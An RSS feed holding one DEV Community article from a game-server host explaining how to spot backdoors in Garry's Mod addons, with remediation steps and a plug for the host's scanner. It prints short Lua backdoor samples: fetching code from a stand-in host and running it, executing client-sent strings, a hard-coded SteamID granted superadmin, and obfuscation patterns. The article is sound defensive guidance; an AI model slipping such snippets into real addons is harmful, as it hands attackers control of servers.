<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Zeros Host</title>
    <description>The latest articles on DEV Community by Zeros Host (@zeroshost).</description>
    <link>https://dev.to/zeroshost</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4254315%2F1de395a1-e5ad-4ff4-a284-812ba07e4a4a.png</url>
      <title>DEV Community: Zeros Host</title>
      <link>https://dev.to/zeroshost</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/zeroshost"/>
    <language>en</language>
    <item>
      <title>What a Garry's Mod Backdoor Actually Looks Like (and How to Spot One)</title>
      <dc:creator>Zeros Host</dc:creator>
      <pubDate>Thu, 19 Nov 2026 18:20:43 +0000</pubDate>
      <link>https://dev.to/zeroshost/what-a-garrys-mod-backdoor-actually-looks-like-and-how-to-spot-one-2o8b</link>
      <guid>https://dev.to/zeroshost/what-a-garrys-mod-backdoor-actually-looks-like-and-how-to-spot-one-2o8b</guid>
      <description>&lt;p&gt;If you run a Garry's Mod server, sooner or later you will install an addon that does something it should not. Leaked "premium" scripts and random Workshop uploads are the usual way in. A backdoor in GMod is rarely clever. It is usually a few lines of Lua hidden in a big file, waiting for a signal.&lt;/p&gt;

&lt;p&gt;Here are the patterns that show up again and again, and what to do when you find one.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Fetch code from the internet, then run it
&lt;/h2&gt;

&lt;p&gt;The classic. The addon downloads a string from a remote server and executes it as Lua:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://example.invalid/payload"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nc"&gt;RunString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whoever controls that URL can now run any server-side code they like, whenever they like. Look for &lt;code&gt;http.Fetch&lt;/code&gt; or &lt;code&gt;http.Post&lt;/code&gt; anywhere near &lt;code&gt;RunString&lt;/code&gt;, &lt;code&gt;RunStringEx&lt;/code&gt; or &lt;code&gt;CompileString&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There is almost never a legitimate reason for an addon to download Lua and run it.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Run whatever the client sends
&lt;/h2&gt;

&lt;p&gt;A network message that executes its contents on the server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Receive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"some_innocent_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ply&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nc"&gt;RunString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ReadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any player who knows the message name can run code on your server. The message name is often made to look boring, like a stats or config message.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Hidden strings
&lt;/h2&gt;

&lt;p&gt;Backdoors try not to look like backdoors. Watch for code that builds strings you cannot read:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;string.char(...)&lt;/code&gt; with a long list of numbers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;util.Base64Decode(...)&lt;/code&gt; feeding into &lt;code&gt;RunString&lt;/code&gt; or &lt;code&gt;CompileString&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;long hex or escaped strings like &lt;code&gt;"\x68\x74\x74\x70"&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Decoding text for a UI is fine. Decoding text and then executing it is a red flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Special treatment for one SteamID
&lt;/h2&gt;

&lt;p&gt;Code that checks for a specific player and quietly hands them power:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ply&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nc"&gt;SteamID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"STEAM_0:1:12345"&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
    &lt;span class="n"&gt;ply&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nc"&gt;SetUserGroup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"superadmin"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an addon you downloaded has a hard-coded SteamID that is not yours, ask why.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Console commands from nowhere
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;game.ConsoleCommand&lt;/code&gt; or &lt;code&gt;RunConsoleCommand&lt;/code&gt; calls that fire on a timer or on player join, especially ones that change &lt;code&gt;rcon_password&lt;/code&gt;, &lt;code&gt;sv_password&lt;/code&gt; or admin groups.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to do if you find one
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Stop the server&lt;/strong&gt; and remove the addon entirely. Do not just comment out the line, because there may be more than one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Change your RCON password&lt;/strong&gt; and any database passwords the server can read.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check your admin list&lt;/strong&gt; for users you did not add.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restore from a backup&lt;/strong&gt; taken before the addon went in, if anything looks touched.&lt;/li&gt;
&lt;li&gt;Only reinstall addons from sources you trust, and scan them first.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Scanning instead of reading every file
&lt;/h2&gt;

&lt;p&gt;Reading every Lua file by hand gets old fast once you have a few hundred addons. On our hosting panel at Zeros Host we added a Backdoor Scanner for Garry's Mod servers: it checks addons for patterns like the ones above and shows you the file, the line number, the code itself and a plain-English reason it was flagged, so you can decide quickly whether it is a real problem.&lt;/p&gt;

&lt;p&gt;Whether you use a tool or not, the five patterns above will catch most of what is out there. If you run a GMod server, it is worth a search through your &lt;code&gt;addons&lt;/code&gt; folder today.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Zeros Host runs Garry's Mod (including DarkRP) and other game servers from the UK, EU and Canada: &lt;a href="https://zerosrp.co.uk" rel="noopener noreferrer"&gt;zerosrp.co.uk&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>lua</category>
      <category>security</category>
      <category>gamedev</category>
    </item>
  </channel>
</rss>
